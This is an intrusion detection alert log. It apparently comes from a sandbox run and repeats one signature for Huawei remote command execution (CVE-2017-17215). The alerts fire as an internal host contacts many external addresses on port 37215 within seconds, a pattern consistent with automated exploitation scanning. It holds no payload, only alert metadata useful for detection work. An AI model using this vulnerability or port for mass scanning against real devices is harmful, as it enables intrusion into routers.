2025-02-12T16:53:38.450348+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53576	197.21.125.209	37215	TCP
2025-02-12T16:53:38.451886+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43418	197.225.27.182	37215	TCP
2025-02-12T16:53:38.469350+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40802	157.89.57.32	37215	TCP
2025-02-12T16:53:39.308385+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55302	41.115.71.233	37215	TCP
2025-02-12T16:53:39.308388+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33162	157.132.179.126	37215	TCP
2025-02-12T16:53:39.308392+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55012	197.217.71.95	37215	TCP
2025-02-12T16:53:39.348703+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41512	41.141.77.58	37215	TCP
2025-02-12T16:53:39.349008+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33592	157.141.101.209	37215	TCP
2025-02-12T16:53:39.432621+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59066	147.1.190.107	37215	TCP
2025-02-12T16:53:39.448034+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56432	4.93.36.137	37215	TCP
2025-02-12T16:53:39.448230+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56858	157.169.44.176	37215	TCP
2025-02-12T16:53:39.448354+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43954	157.66.14.115	37215	TCP
2025-02-12T16:53:39.448749+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59768	41.201.210.80	37215	TCP
2025-02-12T16:53:39.449924+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59684	41.168.109.242	37215	TCP
2025-02-12T16:53:39.450004+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53576	197.110.166.162	37215	TCP
2025-02-12T16:53:39.463632+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52184	64.74.137.233	37215	TCP
2025-02-12T16:53:39.463731+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50224	157.51.232.125	37215	TCP
2025-02-12T16:53:39.463799+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36908	112.132.62.178	37215	TCP
2025-02-12T16:53:39.463840+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45504	162.186.74.57	37215	TCP
2025-02-12T16:53:39.463929+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49276	157.194.99.30	37215	TCP
2025-02-12T16:53:39.468519+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36546	157.69.109.128	37215	TCP
2025-02-12T16:53:39.479335+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59942	41.133.53.174	37215	TCP
2025-02-12T16:53:40.464590+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41702	197.125.20.92	37215	TCP
2025-02-12T16:53:40.464658+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46038	157.254.107.248	37215	TCP
2025-02-12T16:53:40.465613+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58492	197.214.130.128	37215	TCP
2025-02-12T16:53:40.465713+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57820	151.38.112.132	37215	TCP
2025-02-12T16:53:40.467000+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43392	197.213.22.28	37215	TCP
2025-02-12T16:53:40.467000+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34438	157.149.202.72	37215	TCP
2025-02-12T16:53:40.480253+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41268	41.158.117.79	37215	TCP
2025-02-12T16:53:40.480298+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35040	197.100.77.240	37215	TCP
2025-02-12T16:53:40.483096+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43196	41.230.50.140	37215	TCP
2025-02-12T16:53:40.483223+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43002	197.138.33.63	37215	TCP
2025-02-12T16:53:40.483346+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53928	189.161.34.115	37215	TCP
2025-02-12T16:53:40.516244+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38782	157.47.169.188	37215	TCP
2025-02-12T16:53:41.462821+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55426	157.96.174.213	37215	TCP
2025-02-12T16:53:41.464074+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44222	41.130.105.156	37215	TCP
2025-02-12T16:53:41.464711+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48452	197.100.6.254	37215	TCP
2025-02-12T16:53:41.464764+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46730	157.185.41.174	37215	TCP
2025-02-12T16:53:41.465397+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38786	41.235.21.184	37215	TCP
2025-02-12T16:53:41.467542+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46262	186.200.186.126	37215	TCP
2025-02-12T16:53:41.479417+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36392	196.217.79.11	37215	TCP
2025-02-12T16:53:41.479474+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56936	57.127.112.195	37215	TCP
2025-02-12T16:53:41.479559+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53562	41.121.94.81	37215	TCP
2025-02-12T16:53:41.481108+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	32858	169.136.31.254	37215	TCP
2025-02-12T16:53:41.495404+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59558	197.193.132.43	37215	TCP
2025-02-12T16:53:41.528292+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55192	197.178.222.17	37215	TCP
2025-02-12T16:53:41.542742+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45544	157.29.102.107	37215	TCP
2025-02-12T16:53:41.750171+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35618	157.90.91.216	37215	TCP
2025-02-12T16:53:42.520245+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60720	197.6.148.239	37215	TCP
2025-02-12T16:53:42.541976+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45906	41.241.131.129	37215	TCP
2025-02-12T16:53:42.542314+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54560	157.194.133.203	37215	TCP
2025-02-12T16:53:42.542335+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41434	41.26.102.161	37215	TCP
2025-02-12T16:53:42.542415+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40244	197.69.146.124	37215	TCP
2025-02-12T16:53:42.543191+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57050	197.91.163.17	37215	TCP
2025-02-12T16:53:42.544620+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46126	25.132.249.128	37215	TCP
2025-02-12T16:53:42.545670+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60272	197.77.55.129	37215	TCP
2025-02-12T16:53:42.545838+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33422	197.44.144.247	37215	TCP
2025-02-12T16:53:42.546237+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38350	143.147.75.48	37215	TCP
2025-02-12T16:53:42.557547+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39644	157.142.216.30	37215	TCP
2025-02-12T16:53:42.557617+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52574	197.195.65.177	37215	TCP
2025-02-12T16:53:42.557810+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36072	205.66.244.113	37215	TCP
2025-02-12T16:53:42.557926+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37302	109.161.126.213	37215	TCP
2025-02-12T16:53:42.558015+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54478	91.83.166.155	37215	TCP
2025-02-12T16:53:42.559529+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36210	197.184.172.113	37215	TCP
2025-02-12T16:53:42.559934+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38226	84.3.17.109	37215	TCP
2025-02-12T16:53:42.561468+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41932	41.28.62.59	37215	TCP
2025-02-12T16:53:42.561504+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	32844	197.218.202.198	37215	TCP
2025-02-12T16:53:42.561567+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34960	157.74.23.8	37215	TCP
2025-02-12T16:53:42.561720+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43730	93.163.28.160	37215	TCP
2025-02-12T16:53:42.561774+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44146	4.42.254.233	37215	TCP
2025-02-12T16:53:42.561881+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43538	41.238.42.99	37215	TCP
2025-02-12T16:53:42.562091+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59334	41.219.218.88	37215	TCP
2025-02-12T16:53:42.562152+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36314	157.154.74.88	37215	TCP
2025-02-12T16:53:42.566247+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49406	41.122.153.179	37215	TCP
2025-02-12T16:53:42.592317+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35746	41.159.241.44	37215	TCP
2025-02-12T16:53:42.594999+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35668	41.89.195.201	37215	TCP
2025-02-12T16:53:42.650573+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57188	197.7.110.169	37215	TCP
2025-02-12T16:53:42.806225+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42740	197.146.51.16	37215	TCP
2025-02-12T16:53:42.879332+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50140	197.8.241.180	37215	TCP
2025-02-12T16:53:42.905146+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47806	107.155.34.17	37215	TCP
2025-02-12T16:53:43.526644+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41718	113.207.247.11	37215	TCP
2025-02-12T16:53:43.526644+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50746	197.137.154.153	37215	TCP
2025-02-12T16:53:43.527164+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44226	157.237.148.175	37215	TCP
2025-02-12T16:53:43.528018+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45944	41.52.148.66	37215	TCP
2025-02-12T16:53:43.541927+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38746	41.48.190.46	37215	TCP
2025-02-12T16:53:43.542228+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57152	190.246.214.109	37215	TCP
2025-02-12T16:53:43.542488+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47850	140.29.59.138	37215	TCP
2025-02-12T16:53:43.542764+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52766	157.102.132.247	37215	TCP
2025-02-12T16:53:43.542894+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35040	82.217.191.102	37215	TCP
2025-02-12T16:53:43.543788+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43846	197.169.4.221	37215	TCP
2025-02-12T16:53:43.544068+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51418	4.161.237.105	37215	TCP
2025-02-12T16:53:43.544325+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55470	41.97.202.229	37215	TCP
2025-02-12T16:53:43.545011+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48268	197.46.201.28	37215	TCP
2025-02-12T16:53:43.545611+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36980	41.153.142.1	37215	TCP
2025-02-12T16:53:43.545661+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58104	197.91.81.76	37215	TCP
2025-02-12T16:53:43.557559+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49752	178.181.73.225	37215	TCP
2025-02-12T16:53:43.557686+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57232	157.72.205.222	37215	TCP
2025-02-12T16:53:43.559233+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55406	102.66.50.100	37215	TCP
2025-02-12T16:53:43.559308+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46034	41.156.254.210	37215	TCP
2025-02-12T16:53:43.559441+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42612	41.187.93.146	37215	TCP
2025-02-12T16:53:43.594596+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33242	41.147.183.203	37215	TCP
2025-02-12T16:53:43.605666+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45120	157.39.84.65	37215	TCP
2025-02-12T16:53:43.624804+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59296	39.227.22.208	37215	TCP
2025-02-12T16:53:44.557888+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34392	197.161.184.137	37215	TCP
2025-02-12T16:53:44.559006+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34254	157.180.231.219	37215	TCP
2025-02-12T16:53:44.559006+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46950	41.80.145.15	37215	TCP
2025-02-12T16:53:44.559007+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54880	41.214.44.119	37215	TCP
2025-02-12T16:53:44.559010+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50270	197.40.44.208	37215	TCP
2025-02-12T16:53:44.573164+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49436	41.97.129.58	37215	TCP
2025-02-12T16:53:44.573402+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36090	197.100.201.163	37215	TCP
2025-02-12T16:53:44.573535+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50106	87.137.148.87	37215	TCP
2025-02-12T16:53:44.574029+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38226	157.21.187.195	37215	TCP
2025-02-12T16:53:44.574056+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36636	41.195.224.49	37215	TCP
2025-02-12T16:53:44.574863+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37384	74.244.46.2	37215	TCP
2025-02-12T16:53:44.575043+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	32994	197.83.255.118	37215	TCP
2025-02-12T16:53:44.575411+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46056	157.202.124.176	37215	TCP
2025-02-12T16:53:44.575583+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58154	41.128.11.44	37215	TCP
2025-02-12T16:53:44.575748+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44014	41.115.214.169	37215	TCP
2025-02-12T16:53:44.575818+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50674	150.123.181.214	37215	TCP
2025-02-12T16:53:44.575904+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55212	41.32.126.31	37215	TCP
2025-02-12T16:53:44.577282+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60974	157.184.183.73	37215	TCP
2025-02-12T16:53:44.577523+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35146	157.13.130.227	37215	TCP
2025-02-12T16:53:44.577698+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36252	157.127.132.244	37215	TCP
2025-02-12T16:53:44.577772+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43834	197.168.26.183	37215	TCP
2025-02-12T16:53:44.577812+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36576	57.23.108.121	37215	TCP
2025-02-12T16:53:44.577907+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46042	41.203.165.202	37215	TCP
2025-02-12T16:53:44.578925+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59444	157.172.49.84	37215	TCP
2025-02-12T16:53:44.579091+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33922	212.19.209.69	37215	TCP
2025-02-12T16:53:44.579235+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48878	84.246.182.187	37215	TCP
2025-02-12T16:53:44.592748+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34934	167.234.9.124	37215	TCP
2025-02-12T16:53:44.592858+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44458	157.164.196.169	37215	TCP
2025-02-12T16:53:44.594411+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41858	157.109.160.249	37215	TCP
2025-02-12T16:53:44.594414+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39258	74.26.42.147	37215	TCP
2025-02-12T16:53:44.604670+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50464	197.240.158.156	37215	TCP
2025-02-12T16:53:44.620148+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60114	157.115.10.149	37215	TCP
2025-02-12T16:53:44.620498+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45356	197.134.35.71	37215	TCP
2025-02-12T16:53:44.638381+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43402	41.120.103.222	37215	TCP
2025-02-12T16:53:45.573292+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52086	157.145.73.16	37215	TCP
2025-02-12T16:53:45.573298+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52666	197.51.165.36	37215	TCP
2025-02-12T16:53:45.573384+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35412	206.121.135.128	37215	TCP
2025-02-12T16:53:45.573501+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47738	126.238.0.95	37215	TCP
2025-02-12T16:53:45.573527+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53676	41.109.81.101	37215	TCP
2025-02-12T16:53:45.590579+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40698	137.177.131.220	37215	TCP
2025-02-12T16:53:45.590844+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59302	197.144.220.109	37215	TCP
2025-02-12T16:53:45.591343+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53830	41.64.163.14	37215	TCP
2025-02-12T16:53:45.606450+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45986	221.32.59.177	37215	TCP
2025-02-12T16:53:45.606461+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40534	31.228.145.109	37215	TCP
2025-02-12T16:53:45.621898+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59996	101.240.132.86	37215	TCP
2025-02-12T16:53:45.621904+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42932	146.92.187.48	37215	TCP
2025-02-12T16:53:45.621996+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49678	217.172.95.203	37215	TCP
2025-02-12T16:53:45.623866+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56624	197.74.20.234	37215	TCP
2025-02-12T16:53:45.624116+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60102	157.0.54.87	37215	TCP
2025-02-12T16:53:45.625690+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51528	157.159.7.125	37215	TCP
2025-02-12T16:53:45.626231+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40672	41.138.234.161	37215	TCP
2025-02-12T16:53:45.638807+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60720	32.193.239.198	37215	TCP
2025-02-12T16:53:45.638873+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48514	157.112.121.237	37215	TCP
2025-02-12T16:53:45.639483+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60008	197.160.109.46	37215	TCP
2025-02-12T16:53:45.639622+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34844	157.222.114.12	37215	TCP
2025-02-12T16:53:45.643001+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53150	197.201.39.13	37215	TCP
2025-02-12T16:53:45.671082+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38328	157.1.14.24	37215	TCP
2025-02-12T16:53:46.024495+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52828	41.190.102.226	37215	TCP
2025-02-12T16:53:46.651447+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57112	41.160.99.160	37215	TCP
2025-02-12T16:53:46.657046+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58030	41.76.189.176	37215	TCP
